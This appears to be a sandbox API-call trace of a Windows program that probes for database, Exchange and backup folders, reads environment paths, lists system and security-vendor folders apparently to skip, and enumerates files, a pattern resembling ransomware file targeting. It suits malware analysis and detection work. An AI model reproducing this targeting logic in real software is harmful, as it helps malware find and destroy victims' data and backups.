[0056.812] GlobalLock (hMem=0x440004) returned 0x550170 [0056.812] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.812] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.812] GlobalUnlock (hMem=0x440004) returned 0 [0056.812] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.812] GlobalUnlock (hMem=0x44000c) returned 0 [0056.812] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.812] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.812] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.812] GlobalUnlock (hMem=0x44000c) returned 0 [0056.812] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.812] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.812] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.812] GlobalUnlock (hMem=0x44000c) returned 0 [0056.812] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.812] GlobalUnlock (hMem=0x440004) returned 0 [0056.812] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.812] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\en-US", len=0x2e | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\System\\ado\\en-US") returned 1 [0056.812] GlobalLock (hMem=0x440004) returned 0x550170 [0056.812] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.812] GlobalUnlock (hMem=0x440004) returned 0 [0056.812] GlobalLock (hMem=0x440004) returned 0x550170 [0056.812] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.812] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.813] GlobalUnlock (hMem=0x440004) returned 0 [0056.813] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.813] GlobalUnlock (hMem=0x44000c) returned 0 [0056.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@庆R幚R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0056.813] GetLastError () returned 0x3 [0056.813] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.813] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.813] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\Ơ") returned 21 [0056.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@巼R企@\x18㿬Q\x181")) returned 0xffffffff [0056.814] GetLastError () returned 0x2 [0056.814] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\Ơ") returned 9 [0056.814] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@劔U企@\x18?T\x18;")) returned 0xffffffff [0056.814] GetLastError () returned 0x2 [0056.814] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\Ơ") returned 8 [0056.815] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@耴R企@\x18?T\x18D")) returned 0xffffffff [0056.815] GetLastError () returned 0x2 [0056.815] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0056.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵?\x18") returned 37 [0056.815] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@巼R企@\x18劔U\x18j")) returned 0xffffffff [0056.815] GetLastError () returned 0x2 [0056.815] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0056.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵?\x18") returned 6 [0056.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@塤U企@\x18?T\x18q")) returned 0xffffffff [0056.816] GetLastError () returned 0x2 [0056.816] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\劐U`") returned 6 [0056.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\眵?\x18") returned 7 [0056.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@劔U企@\x18?T\x18y")) returned 0xffffffff [0056.816] GetLastError () returned 0x2 [0056.817] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0056.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\眵?\x18") returned 7 [0056.817] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@耴R企@\x18?T\x18\x81")) returned 0xffffffff [0056.817] GetLastError () returned 0x2 [0056.817] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0056.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\眵?\x18") returned 6 [0056.834] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@塤U企@\x18?T\x18\x88")) returned 0xffffffff [0056.834] GetLastError () returned 0x2 [0056.834] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0056.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\眵?\x18") returned 6 [0056.834] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@劔U企@\x18?T\x18\x8f")) returned 0xffffffff [0056.835] GetLastError () returned 0x2 [0056.835] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0056.835] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@耴R企@\x18?T\x18\x97")) returned 0xffffffff [0056.835] GetLastError () returned 0x2 [0056.835] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0056.835] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.835] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.835] GlobalUnlock (hMem=0x44000c) returned 0 [0056.835] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.835] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.835] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.835] GlobalUnlock (hMem=0x44000c) returned 0 [0056.835] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.835] GlobalUnlock (hMem=0x440004) returned 0 [0056.835] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.835] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.835] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.835] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0056.836] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.836] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0056.836] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.836] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0056.836] GlobalLock (hMem=0x440004) returned 0x550170 [0056.836] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.836] GlobalUnlock (hMem=0x440004) returned 0 [0056.836] GlobalLock (hMem=0x440004) returned 0x550170 [0056.836] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.836] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.836] GlobalUnlock (hMem=0x440004) returned 0 [0056.836] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.836] GlobalUnlock (hMem=0x44000c) returned 0 [0056.836] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0056.836] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0056.836] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0056.836] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0056.836] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0056.837] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.837] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0056.837] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.837] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0056.837] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.837] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0056.837] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\system\\ado\\en-us\\") returned 0x2f [0056.837] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0056.837] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.837] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.837] GlobalUnlock (hMem=0x44000c) returned 0 [0056.837] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.837] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.837] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.837] GlobalUnlock (hMem=0x44000c) returned 0 [0056.837] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.837] GlobalUnlock (hMem=0x440004) returned 0 [0056.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0056.837] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.837] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0056.837] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0056.837] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.837] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.837] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.838] GlobalUnlock (hMem=0x440004) returned 0 [0056.838] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.838] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.838] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.838] GlobalUnlock (hMem=0x440004) returned 0 